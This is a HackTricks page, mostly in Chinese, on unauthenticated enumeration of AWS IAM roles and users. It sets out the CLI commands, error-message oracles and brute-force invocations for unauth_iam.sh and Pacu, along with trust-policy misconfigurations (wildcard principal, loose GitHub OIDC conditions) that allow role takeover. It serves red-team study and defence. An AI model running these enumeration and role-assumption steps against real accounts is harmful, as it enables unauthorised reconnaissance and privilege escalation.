AWS - IAM & STS Unauthenticated Enum

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

枚举账户中的角色和用户名

Assume Role Brute-Force

Caution

此技术已不可用,因为无论角色是否存在,您总是会收到此错误:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas

您可以通过运行以下命令来测试

aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example

尝试 assume a role without the necessary permissions 会触发 AWS 的错误消息。例如,如果未被授权,AWS 可能返回:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS

此消息确认该角色存在,但表明其信任策略不允许您假定该角色。相比之下,尝试 假定一个不存在的角色会导致不同的错误

An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole

有趣的是,这种区分存在与不存在角色的方法即使在不同的 AWS 账户之间也适用。只要有有效的 AWS 帐户 ID 和目标字典,就可以枚举该账户中存在的角色,而不会遇到任何固有的限制。

你可以使用这个 script to enumerate potential principals 来利用这个问题。

Trust Policies: Brute-Force Cross Account roles and users

配置或更新 IAM 角色的信任策略涉及定义哪些 AWS 资源或服务被允许承担该角色 并获取临时凭证。如果策略中指定的资源 存在,信任策略将成功保存。但是,如果该资源 不存在,则会生成错误,表明提供了无效的 principal。

Warning

注意在该资源中你可以指定跨账户的角色或用户:

  • arn:aws:iam::acc_id:role/role_name
  • arn:aws:iam::acc_id:user/user_name

这是一个策略示例:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::216825089941:role/Test"
},
"Action": "sts:AssumeRole"
}
]
}

GUI

这是当你使用一个不存在的 role时会看到的错误。如果该 role 存在,该 policy 将会保存,不会出现任何错误。(该错误发生在 update 时,但在创建时也同样适用)

CLI

### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"

You can automate this process with https://github.com/carlospolop/aws_tools

  • bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt

或者使用 Pacu:

  • run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt
  • run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt
  • 示例中使用的 admin 角色是你账户中的一个角色,pacu 会模拟该角色以创建用于枚举所需的策略

Privesc

如果该角色配置不当并允许任何人以该角色的身份访问:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

攻击者可以直接假设它。

第三方 OIDC 联邦

想象你设法读取了一个 Github Actions workflow,它正在访问 AWS 内的 role
这种信任关系可能会授予对具有以下 trust policy 的 role 的访问:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}

这个信任策略可能是正确的,但 缺乏更多条件 应该让你对它产生怀疑。
这是因为之前的角色可以被 Github Actions 的任何人 假设!你还应该在条件中指定其他东西,例如组织名、仓库名、环境、分支…

另一个潜在的错误配置是像下面这样 添加一个条件

"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}

注意 wildcard (*) 位于 colon (:) 之前。你可以创建一个 org(例如 org_name1),并通过 Github Action assume the role

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks